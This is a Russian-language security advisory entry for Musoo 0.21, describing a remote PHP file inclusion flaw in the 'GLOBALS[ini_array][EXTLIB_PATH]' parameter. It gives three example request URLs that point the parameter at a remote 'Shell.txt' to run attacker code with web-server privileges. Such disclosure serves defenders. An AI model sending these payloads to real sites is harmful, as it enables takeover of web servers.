• Партнер

  • Программа: Musoo 0.21

    Уязвимость позволяет удаленному пользователю выполнить произвольный PHP сценарий на целевой системе. Уязвимость существует из-за недостаточной обработки входных данных в параметре «GLOBALS[ini_array][EXTLIB_PATH]» различными сценариями. Удаленный пользователь может выполнить произвольный PHP сценарий на целевой системе с привилегиями Web сервера.

    Примеры:

    /msDb.php?GLOBALS[ini_array][EXTLIB_PATH]=Shell.txt?
    /modules/MusooTemplateLite.php?GLOBALS[ini_array][EXTLIB_PATH]=Shell.txt?
    /modules/SoundImporter.php?GLOBALS[ini_array][EXTLIB_PATH]=Shell.txt?

    Подписаться
    Уведомить о
    0 комментариев
    Межтекстовые Отзывы
    Посмотреть все комментарии